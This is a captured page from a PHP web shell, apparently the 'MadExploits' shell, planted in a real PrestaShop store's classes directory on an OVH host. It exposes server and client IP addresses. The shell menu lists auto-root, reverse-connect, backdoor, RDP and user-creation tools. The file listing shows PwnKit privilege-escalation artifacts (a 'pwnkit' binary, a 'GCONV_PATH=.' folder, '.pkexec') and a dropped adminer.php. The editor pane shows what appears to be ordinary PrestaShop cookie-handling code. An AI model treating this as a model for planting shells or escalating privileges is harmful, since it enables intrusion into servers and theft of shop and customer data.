Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.33
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
garmin /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
Smarty
[ DIR ]
drwx---r-x
assets
[ DIR ]
drwx---r-x
cache
[ DIR ]
drwx---r-x
checkout
[ DIR ]
drwx---r-x
container
[ DIR ]
drwx---r-x
controller
[ DIR ]
drwx---r-x
db
[ DIR ]
drwx---r-x
exception
[ DIR ]
drwx---r-x
form
[ DIR ]
drwx---r-x
helper
[ DIR ]
drwx---r-x
lang
[ DIR ]
drwx---r-x
log
[ DIR ]
drwx---r-x
module
[ DIR ]
drwx---r-x
order
[ DIR ]
drwx---r-x
pdf
[ DIR ]
drwx---r-x
product
[ DIR ]
drwx---r-x
proxy
[ DIR ]
drwx---r-x
range
[ DIR ]
drwx---r-x
shop
[ DIR ]
drwx---r-x
stock
[ DIR ]
drwx---r-x
tax
[ DIR ]
drwx---r-x
tree
[ DIR ]
drwx---r-x
webservice
[ DIR ]
drwx---r-x
.htaccess
170
B
-rw----r--
.mad-root
0
B
-rw-r--r--
Access.php
13.2
KB
-rw----r--
Address.php
20.13
KB
-rw----r--
AddressChecksumCore.php
1.7
KB
-rw----r--
AddressFormat.php
25.62
KB
-rw----r--
Alias.php
5.03
KB
-rw----r--
Attachment.php
7.91
KB
-rw----r--
Attribute.php
13.47
KB
-rw----r--
AttributeGroup.php
13.32
KB
-rw----r--
CMS.php
11.41
KB
-rw----r--
CMSCategory.php
24.09
KB
-rw----r--
CMSRole.php
1.78
KB
-rw----r--
CSV.php
3.04
KB
-rw----r--
Carrier.php
61.57
KB
-rw----r--
Cart.php
212.71
KB
-rw----r--
CartRule.php
88.48
KB
-rw----r--
Category.php
84.77
KB
-rw----r--
Chart.php
4.16
KB
-rw----r--
ChecksumInterface.php
1.13
KB
-rw----r--
Combination.php
14.5
KB
-rw----r--
Configuration.php
26.03
KB
-rw----r--
ConfigurationKPI.php
8.64
KB
-rw----r--
ConfigurationTest.php
11.92
KB
-rw----r--
Connection.php
10.31
KB
-rw----r--
ConnectionsSource.php
5.72
KB
-rw----r--
Contact.php
3.77
KB
-rw----r--
Context.php
13.8
KB
-rw----r--
Cookie.php
16.42
KB
-rw----r--
Country.php
16.12
KB
-rw----r--
Currency.php
35.48
KB
-rw----r--
Curve.php
2.42
KB
-rw----r--
Customer.php
46.67
KB
-rw----r--
CustomerAddress.php
1.26
KB
-rw----r--
CustomerMessage.php
5.71
KB
-rw----r--
CustomerSession.php
2.31
KB
-rw----r--
CustomerThread.php
9.63
KB
-rw----r--
Customization.php
13.35
KB
-rw----r--
CustomizationField.php
2.72
KB
-rw----r--
DateRange.php
2.47
KB
-rw----r--
Delivery.php
3.24
KB
-rw----r--
Dispatcher.php
43.1
KB
-rw----r--
Employee.php
22.1
KB
-rw----r--
EmployeeSession.php
2.32
KB
-rw----r--
Feature.php
11.16
KB
-rw----r--
FeatureValue.php
8.02
KB
-rw----r--
FileUploader.php
3.54
KB
-rw----r--
Gender.php
2.71
KB
-rw----r--
Group.php
14.51
KB
-rw----r--
GroupReduction.php
9.84
KB
-rw----r--
Guest.php
7.9
KB
-rw----r--
Hook.php
42.13
KB
-rw----r--
Image.php
28.51
KB
-rw----r--
ImageManager.php
23.98
KB
-rw----r--
ImageType.php
6.94
KB
-rw----r--
Language.php
57.96
KB
-rw----r--
Link.php
56.55
KB
-rw----r--
LocalizationPack.php
25.19
KB
-rw----r--
Mail.php
31.22
KB
-rw----r--
Manufacturer.php
20.82
KB
-rw----r--
ManufacturerAddress.php
1.28
KB
-rw----r--
Media.php
34.44
KB
-rw----r--
Message.php
6.26
KB
-rw----r--
Meta.php
17.97
KB
-rw----r--
Notification.php
7.42
KB
-rw----r--
ObjectModel.php
75.02
KB
-rw----r--
Pack.php
22.78
KB
-rw----r--
Page.php
4.48
KB
-rw----r--
PaymentFree.php
1.25
KB
-rw----r--
PaymentModule.php
59.53
KB
-rw----r--
PhpEncryption.php
3.39
KB
-rw----r--
PhpEncryptionEngine.php
4.26
KB
-rw----r--
PhpEncryptionLegacyEngine.php
4.77
KB
-rw----r--
PrestaShopAutoload.php
12.25
KB
-rw----r--
PrestaShopBackup.php
12.07
KB
-rw----r--
PrestaShopCollection.php
21.07
KB
-rw----r--
PrestaShopLogger.php
6.5
KB
-rw----r--
Product.php
269.79
KB
-rw----r--
ProductAssembler.php
3.37
KB
-rw----r--
ProductDownload.php
9.77
KB
-rw----r--
ProductPresenterFactory.php
3.6
KB
-rw----r--
ProductSale.php
12.7
KB
-rw----r--
ProductSupplier.php
8.76
KB
-rw----r--
Profile.php
7.56
KB
-rw----r--
QqUploadedFileForm.php
4.93
KB
-rw----r--
QqUploadedFileXhr.php
5.56
KB
-rw----r--
QuickAccess.php
4.65
KB
-rw----r--
Referrer.php
17.45
KB
-rw----r--
RequestSql.php
20.14
KB
-rw----r--
Risk.php
2.36
KB
-rw----r--
Search.php
51.05
KB
-rw----r--
SearchEngine.php
2.79
KB
-rw----r--
SpecificPrice.php
30.68
KB
-rw----r--
SpecificPriceRule.php
13.67
KB
-rw----r--
State.php
7.38
KB
-rw----r--
Store.php
6.25
KB
-rw----r--
Supplier.php
17.66
KB
-rw----r--
SupplierAddress.php
1.27
KB
-rw----r--
Tab.php
21.37
KB
-rw----r--
Tag.php
11.66
KB
-rw----r--
Tools.php
144.64
KB
-rw----r--
Translate.php
13.81
KB
-rw----r--
TranslatedConfiguration.php
4.56
KB
-rw----r--
Upgrader.php
11.54
KB
-rw----r--
Uploader.php
11.41
KB
-rw----r--
Validate.php
34.53
KB
-rw----r--
ValidateConstraintTranslator.p...
2.55
KB
-rw----r--
WarehouseAddress.php
1.27
KB
-rw----r--
Windows.php
1.34
KB
-rw----r--
Zone.php
3.4
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
index.php
1.34
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Cookie.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ use Defuse\Crypto\Key; use PrestaShop\PrestaShop\Core\Exception\CoreException; use PrestaShop\PrestaShop\Core\Session\SessionInterface; class CookieCore { /** @var array Contain cookie content in a key => value format */ protected $_content = []; /** @var array Crypted cookie name for setcookie() */ protected $_name; /** @var array expiration date for setcookie() */ protected $_expire; /** @var array Website domain for setcookie() */ protected $_domain; /** @var array Path for setcookie() */ protected $_path; /** @var array cipher tool instance */ protected $cipherTool; protected $_modified = false; protected $_allow_writing; protected $_salt; protected $_standalone; protected $_secure = false; /** * Get data if the cookie exists and else initialize an new one. * * @param $name string Cookie name before encrypting * @param $path string */ public function __construct($name, $path = '', $expire = null, $shared_urls = null, $standalone = false, $secure = false) { $this->_content = []; $this->_standalone = $standalone; $this->_expire = null === $expire ? time() + 1728000 : (int) $expire; $this->_path = trim(($this->_standalone ? '' : Context::getContext()->shop->physical_uri) . $path, '/\\') . '/'; if ($this->_path[0] != '/') { $this->_path = '/' . $this->_path; } $this->_path = rawurlencode($this->_path); $this->_path = str_replace('%2F', '/', $this->_path); $this->_path = str_replace('%7E', '~', $this->_path); $this->_domain = $this->getDomain($shared_urls); $this->_name = 'PrestaShop-' . md5(($this->_standalone ? '' : _PS_VERSION_) . $name . $this->_domain); $this->_allow_writing = true; $this->_salt = $this->_standalone ? str_pad('', 32, md5('ps' . __FILE__)) : _COOKIE_IV_; if ($this->_standalone) { $asciiSafeString = \Defuse\Crypto\Encoding::saveBytesToChecksummedAsciiSafeString(Key::KEY_CURRENT_VERSION, str_pad($name, Key::KEY_BYTE_SIZE, md5(__FILE__))); $this->cipherTool = new PhpEncryption($asciiSafeString); } else { $this->cipherTool = new PhpEncryption(_NEW_COOKIE_KEY_); } $this->_secure = (bool) $secure; $this->update(); } public function disallowWriting() { $this->_allow_writing = false; } protected function getDomain($shared_urls = null) { $r = '!(?:(\w+)://)?(?:(\w+)\:(\w+)@)?([^/:]+)?(?:\:(\d*))?([^#?]+)?(?:\?([^#]+))?(?:#(.+$))?!i'; if (!preg_match($r, Tools::getHttpHost(false, false), $out) || !isset($out[4])) { return false; } if (preg_match('/^(((25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]{1}[0-9]|[1-9]).)' . '{1}((25[0-5]|2[0-4][0-9]|[1]{1}[0-9]{2}|[1-9]{1}[0-9]|[0-9]).)' . '{2}((25[0-5]|2[0-4][0-9]|[1]{1}[0-9]{2}|[1-9]{1}[0-9]|[0-9]){1}))$/', $out[4])) { return false; } if (!strstr(Tools::getHttpHost(false, false), '.')) { return false; } $domain = false; if ($shared_urls !== null) { foreach ($shared_urls as $shared_url) { if ($shared_url != $out[4]) { continue; } if (preg_match('/^(?:.*\.)?([^.]*(?:.{2,4})?\..{2,3})$/Ui', $shared_url, $res)) { $domain = '.' . $res[1]; break; } } } if (!$domain) { $domain = $out[4]; } return $domain; } /** * Set expiration date. * * @param int $expire Expiration time from now */ public function setExpire($expire) { $this->_expire = (int) ($expire); } /** * Magic method wich return cookie data from _content array. * * @param string $key key wanted * * @return string value corresponding to the key */ public function __get($key) { return isset($this->_content[$key]) ? $this->_content[$key] : false; } /** * Magic method which check if key exists in the cookie. * * @param string $key key wanted * * @return bool key existence */ public function __isset($key) { return isset($this->_content[$key]); } /** * Magic method which adds data into _content array. * * @param string $key Access key for the value * @param mixed $value Value corresponding to the key * * @throws Exception */ public function __set($key, $value) { if (is_array($value)) { die(Tools::displayError()); } if (preg_match('/¤|\|/', $key . $value)) { throw new Exception('Forbidden chars in cookie'); } if (!$this->_modified && (!array_key_exists($key, $this->_content) || $this->_content[$key] != $value)) { $this->_modified = true; } $this->_content[$key] = $value; } /** * Magic method which delete data into _content array. * * @param string $key key wanted */ public function __unset($key) { if (isset($this->_content[$key])) { $this->_modified = true; } unset($this->_content[$key]); } /** * Check customer informations saved into cookie and return customer validity. * * @deprecated as of version 1.5 use Customer::isLogged() instead * * @return bool customer validity */ public function isLogged($withGuest = false) { Tools::displayAsDeprecated('Use Customer::isLogged() instead'); if (!$withGuest && $this->is_guest == 1) { return false; } /* Customer is valid only if it can be load and if cookie password is the same as database one */ if ($this->logged == 1 && $this->id_customer && Validate::isUnsignedId($this->id_customer) && Customer::checkPassword((int) ($this->id_customer), $this->passwd)) { return true; } return false; } /** * Check employee informations saved into cookie and return employee validity. * * @deprecated as of version 1.5 use Employee::isLoggedBack() instead * * @return bool employee validity */ public function isLoggedBack() { Tools::displayAsDeprecated('Use Employee::isLoggedBack() instead'); /* Employee is valid only if it can be load and if cookie password is the same as database one */ return $this->id_employee && Validate::isUnsignedId($this->id_employee) && Employee::checkPassword((int) $this->id_employee, $this->passwd) && (!isset($this->_content['remote_addr']) || $this->_content['remote_addr'] == ip2long(Tools::getRemoteAddr()) || !Configuration::get('PS_COOKIE_CHECKIP')); } /** * Delete cookie * As of version 1.5 don't call this function, use Customer::logout() or Employee::logout() instead;. */ public function logout() { $this->deleteSession(); $this->_content = []; $this->encryptAndSetCookie(); unset($_COOKIE[$this->_name]); $this->_modified = true; } /** * Soft logout, delete everything links to the customer * but leave there affiliate's informations. * As of version 1.5 don't call this function, use Customer::mylogout() instead;. */ public function mylogout() { $this->deleteSession(); unset( $this->_content['id_customer'], $this->_content['id_guest'], $this->_content['is_guest'], $this->_content['id_connections'], $this->_content['customer_lastname'], $this->_content['customer_firstname'], $this->_content['passwd'], $this->_content['logged'], $this->_content['email'], $this->_content['id_cart'], $this->_content['id_address_invoice'], $this->_content['id_address_delivery'] ); $this->_modified = true; } public function makeNewLog() { unset( $this->_content['id_customer'], $this->_content['id_guest'] ); Guest::setNewGuest($this); $this->_modified = true; } /** * Get cookie content. */ public function update($nullValues = false) { if (isset($_COOKIE[$this->_name])) { /* Decrypt cookie content */ $content = $this->cipherTool->decrypt($_COOKIE[$this->_name]); //printf("\$content = %s<br />", $content); /* Get cookie checksum */ $tmpTab = explode('¤', $content); // remove the checksum which is the last element array_pop($tmpTab); $content_for_checksum = implode('¤', $tmpTab) . '¤'; $checksum = hash('sha256', $this->_salt . $content_for_checksum); //printf("\$checksum = %s<br />", $checksum); /* Unserialize cookie content */ $tmpTab = explode('¤', $content); foreach ($tmpTab as $keyAndValue) { $tmpTab2 = explode('|', $keyAndValue); if (count($tmpTab2) == 2) { $this->_content[$tmpTab2[0]] = $tmpTab2[1]; } } /* Check if cookie has not been modified */ if (!isset($this->_content['checksum']) || $this->_content['checksum'] != $checksum) { $this->logout(); } if (!isset($this->_content['date_add'])) { $this->_content['date_add'] = date('Y-m-d H:i:s'); } } else { $this->_content['date_add'] = date('Y-m-d H:i:s'); } //checks if the language exists, if not choose the default language if (!$this->_standalone && !Language::getLanguage((int) $this->id_lang)) { $this->id_lang = Configuration::get('PS_LANG_DEFAULT'); // set detect_language to force going through Tools::setCookieLanguage to figure out browser lang $this->detect_language = true; } } /** * Encrypt and set the Cookie. * * @param string|null $cookie Cookie content * * @return bool Indicates whether the Cookie was successfully set * * @deprecated 1.7.0 */ protected function _setcookie($cookie = null) { return $this->encryptAndSetCookie($cookie); } /** * Encrypt and set the Cookie. * * @param string|null $cookie Cookie content * * @return bool Indicates whether the Cookie was successfully set * * @since 1.7.0 */ protected function encryptAndSetCookie($cookie = null) { // Check if the content fits in the Cookie $length = (ini_get('mbstring.func_overload') & 2) ? mb_strlen($cookie, ini_get('default_charset')) : strlen($cookie); if ($length >= 1048576) { return false; } if ($cookie) { $content = $this->cipherTool->encrypt($cookie); $time = $this->_expire; } else { $content = 0; $time = 1; } return setcookie($this->_name, $content, $time, $this->_path, $this->_domain, $this->_secure, true); } public function __destruct() { $this->write(); } /** * Save cookie with setcookie(). */ public function write() { if (!$this->_modified || headers_sent() || !$this->_allow_writing) { return; } $previousChecksum = $cookie = ''; /* Serialize cookie content */ if (isset($this->_content['checksum'])) { $previousChecksum = $this->_content['checksum']; unset($this->_content['checksum']); } foreach ($this->_content as $key => $value) { $cookie .= $key . '|' . $value . '¤'; } /* Add checksum to cookie */ $newChecksum = hash('sha256', $this->_salt . $cookie); // do not set cookie if the checksum is the same: it means the content has not changed! if ($previousChecksum === $newChecksum) { return; } $cookie .= 'checksum|' . $newChecksum; $this->_modified = false; /* Cookies are encrypted for evident security reasons */ return $this->encryptAndSetCookie($cookie); } /** * Get a family of variables (e.g. "filter_"). */ public function getFamily($origin) { $result = []; if (count($this->_content) == 0) { return $result; } foreach ($this->_content as $key => $value) { if (strncmp($key, $origin, strlen($origin)) == 0) { $result[$key] = $value; } } return $result; } public function unsetFamily($origin) { $family = $this->getFamily($origin); foreach (array_keys($family) as $member) { unset($this->$member); } } public function getAll() { return $this->_content; } /** * @return string name of cookie */ public function getName() { return $this->_name; } /** * Check if the cookie exists. * * @since 1.5.0 * * @return bool */ public function exists() { return isset($_COOKIE[$this->_name]); } /** * Register a new session * * @param SessionInterface $session */ public function registerSession(SessionInterface $session) { if (isset($this->id_employee)) { $session->setUserId((int) $this->id_employee); } elseif (isset($this->id_customer)) { $session->setUserId((int) $this->id_customer); } else { throw new CoreException('Invalid user id'); } $session->setToken(sha1(time() . uniqid())); $session->add(); $this->session_id = $session->getId(); $this->session_token = $session->getToken(); } /** * Delete session * * @return bool */ public function deleteSession() { if (!isset($this->session_id)) { return false; } $session = $this->getSession($this->session_id); if ($session !== null) { $session->delete(); return true; } return false; } /** * Check if this session is still alive * * @return bool */ public function isSessionAlive() { if (!isset($this->session_id) || !isset($this->session_token)) { return false; } $session = $this->getSession($this->session_id); return $session !== null && $session->getToken() === $this->session_token && ( (int) $this->id_employee === $session->getUserId() || (int) $this->id_customer === $session->getUserId() ) ; } /** * Retrieve session based on a session id and the employee or * customer id * * @return SessionInterface|null */ public function getSession($sessionId) { if (isset($this->id_employee)) { $session = new EmployeeSession($sessionId); } elseif (isset($this->id_customer)) { $session = new CustomerSession($sessionId); } if (isset($session) && !empty($session->getId())) { return $session; } return null; } }
Close